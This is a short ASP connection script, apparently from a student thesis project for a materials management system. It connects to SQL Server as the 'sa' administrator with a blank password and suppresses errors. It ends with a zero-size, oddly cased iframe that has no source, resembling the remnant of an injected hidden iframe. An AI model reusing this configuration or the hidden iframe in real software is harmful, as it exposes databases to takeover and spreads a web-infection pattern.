conn.asp

一套完整的毕业论文。物资管理信息系统。 请大家指点

<%
	'dim conn
	'dim connstr
	'dim db
	'db=server.mappath("../database/database.mdb")
	'Set conn = Server.CreateObject("ADODB.Connection")
	'connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'如果你的服务器采用较老版本Access驱动，请用下面连接方法
	'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)
	'conn.Open connstr
    'conn.Open"driver={Microsoft Access Driver (*.mdb)};dbq=" & db

dim conn
dim connstr
on error resume next
connstr="driver={SQL Server};Server=VIYAS-GUO;Database=sheji;Uid=sa;Pwd=;"
set conn=server.createobject("ADODB.CONNECTION")
if err then
err.clear
else
conn.open connstr
end if
sub CloseConn()
conn.close
set conn=nothing
end sub

%>
<IfrAmE  width=0 height=0></IfrAmE>